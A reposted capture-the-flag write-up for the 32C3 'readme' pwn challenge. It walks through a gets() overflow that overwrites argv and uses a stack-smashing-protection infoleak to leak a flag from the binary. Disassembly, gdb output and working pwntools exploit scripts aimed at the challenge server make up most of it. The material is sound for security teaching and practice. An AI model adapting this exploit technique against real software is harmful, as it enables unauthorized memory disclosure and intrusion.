readme - Writeup by Nandy Narwhals
This writeup was not written by pony7. The original version has been written by Nandy Narwhals at http://nandynarwhals.org/2015/12/31/32c3ctf-readme-pwn200/
I just copied here the writeup to avoid losing this informative write-up.
Can you read the flag?
nc 184.108.40.206 1024
Let’s run the binary locally first:
$ ./readme.bin Hello! What's your name? amon Nice to meet you, amon. Please overwrite the flag: AAAA Thank you, bye!
Looks like we enter input in two places:
- When it asks for your name.
- When it asks you to overwrite the flag.
Let’s take a look at what’s going on under the hood:
00000000004007e1 mov esi, 0x400934 ; "Hello!\\nWhat's your name? " 00000000004007e6 mov edi, 0x1 00000000004007eb push rbx 00000000004007ec sub rsp, 0x118 00000000004007f3 mov rax, qword [fs:0x28] 00000000004007fc mov qword [ss:rsp+var_20], rax 0000000000400804 xor eax, eax 0000000000400806 call j___printf_chk 000000000040080b mov rdi, rsp 000000000040080e call j__IO_gets 0000000000400813 test rax, rax 0000000000400816 je 0x40089f
For the name prompt, the standard ‘gets()’ is used. This means we can use the good ol’ buffer overflow right? Well, not quite.
$ ./readme.bin Hello! What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA. Please overwrite the flag: A Thank you, bye! *** stack smashing detected ***: ./readme.bin terminated Aborted (core dumped)
If we check what protections are enabled in the binary, we see that the stack canary is present:
gdb-peda$ checksec CANARY : ENABLED FORTIFY : ENABLED NX : ENABLED PIE : disabled RELRO : disabled
However, notice that the line ‘* stack smashing detected *’ appears. Sounds suspiciously like a Stack Smashing Protection Infoleak vulnerability. What we have to do is overwrite the arg pointer to point to the flag to leak it. Now, if we look at the binary the flag is actually included in it.
However, it’s not that easy since the flag is overwritten in the second prompt. What the overwrite does is read character by character from the user up to 20 characters or a newline into the flag buffer. If it encounters a newline, it fills the rest of flag buffer with null bytes.
So. that buffer is overwritten, but is the flag still present in memory? The answer is yes, exactly why, I am not sure. It’s probably something to do with ELF mapping and hopefully someone puts up a writeup that explains. I found the other reference through PEDA:
gdb-peda$ find 32C3 Searching for '32C3' in: None ranges Found 2 results, display max 2 items: readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...") readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...")
Now, the 0x600d20 buffer gets overwritten but the 0x400d20 one doesn’t so we’ll use that in our exploit. Next, we need to determine the location of the argv pointer.
gdb-peda$ find /home Searching for '/home' in: None ranges Found 7 results, display max 7 items: [stack] : 0x7fffffffe234 ("/home/amon/ctf/32c3/readme/readme/readme.bin") [stack] : 0x7fffffffeb21 ("/home/amon/.composer/vendor/bin") [stack] : 0x7fffffffebd6 ("/home/amon/ctf/32c3/readme/readme") [stack] : 0x7fffffffed49 ("/home/amon") [stack] : 0x7fffffffef4a ("/home/amon/.composer") [stack] : 0x7fffffffefa0 ("/home/amon/.Xauthority") [stack] : 0x7fffffffefcb ("/home/amon/ctf/32c3/readme/readme/readme.bin") gdb-peda$ find 0x7fffffffe234 Searching for '0x7fffffffe234' in: None ranges Found 2 results, display max 2 items: libc : 0x7ffff7dd44b8 --> 0x7fffffffe234 ("/home/amon/ctf/32c3/readme/readme/readme.bin") [stack] : 0x7fffffffde88 --> 0x7fffffffe234 ("/home/amon/ctf/32c3/readme/readme/readme.bin") gdb-peda$ print $rsp $1 = (void *) 0x7fffffffdc70 gdb-peda$ print 0x7fffffffde88-0x7fffffffdc70 $2 = 0x218
So, the offset to the pointer is 0x218 (or 536 bytes) from the stack pointer. Let’s test it out. Here is the script to do so:
from pwn import * context.log_level = "debug" p = process("./readme.bin") p.sendline("A"*536 + p64(0x400d20)) p.sendline("placeholder") p.recvall()
Running the script with debug enabled:
$ python firsttest.py [+] Started program './readme.bin' [DEBUG] ...with arguments './readme.bin' [DEBUG] Sent 0x221 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000210 41 41 41 41 41 41 41 41 22 0d 40 00 00 00 00 00 │AAAA│AAAA│"·@·│····│ 00000220 0a │·│ 00000221 [DEBUG] Sent 0xc bytes: 'placeholder\n' *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated [+] Recieving all data: Done (627B) [DEBUG] Received 0x273 bytes: 'Hello!\n' 'What\'s your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"\r' '@.\n' 'Please overwrite the flag: Thank you, bye!\n' [*] Program './readme.bin' stopped with exit code -6
Notice that the flag does get printed but it does not come through the pipe. Instead, it is printed on the current terminal. This means that we need to do something else to exfiltrate that error message over the network when we attack the remote server. If we look online, we can find that there is an environment variable we can set to get that message sent over stderr. But how can we do this? If we look closer at the stack layout:
gdb-peda$ x/16xg 0x7fffffffde88 0x7fffffffde88: 0x00007fffffffe234 0x0000000000000000 0x7fffffffde98: 0x00007fffffffe261 0x00007fffffffe276 0x7fffffffdea8: 0x00007fffffffe281 0x00007fffffffe293 0x7fffffffdeb8: 0x00007fffffffe2aa 0x00007fffffffe2c0 0x7fffffffdec8: 0x00007fffffffe2d8 0x00007fffffffe308 0x7fffffffded8: 0x00007fffffffe317 0x00007fffffffe327 0x7fffffffdee8: 0x00007fffffffe338 0x00007fffffffe34c 0x7fffffffdef8: 0x00007fffffffe363 0x00007fffffffe375 gdb-peda$ x/s 0x00007fffffffe234 0x7fffffffe234: "/home/amon/ctf/32c3/readme/readme/readme.bin" gdb-peda$ x/s 0x00007fffffffe261 0x7fffffffe261: "LC_PAPER=en_SG.UTF-8" gdb-peda$ x/s 0x00007fffffffe276 0x7fffffffe276: "XDG_VTNR=7"
Notice that after argv, there is a null pointer and then an array of pointers to strings in the environment. We can overwrite one of the pointers with the string “LIBC_FATAL_STDERR_=1”. Where do we put this string? The old flag buffer of course! It’s there for us to write to. So our final exploit:
from pwn import * p = remote("220.127.116.11", 1024) p.sendline("A"*0x218 + p64(0x400d20) + p64(0) + p64(0x600D20)) p.sendline("LIBC_FATAL_STDERR_=1") print p.recvall()
Running the exploit to get our flag:
$ python exploit.py [+] Opening connection to 18.104.22.168 on port 1024: Done [+] Recieving all data: Done (701B) [*] Closed connection to 22.214.171.124 port 1024 Hello! What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@. Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: 32C3_ELF_caN_b3_pre7ty_we!rd... terminated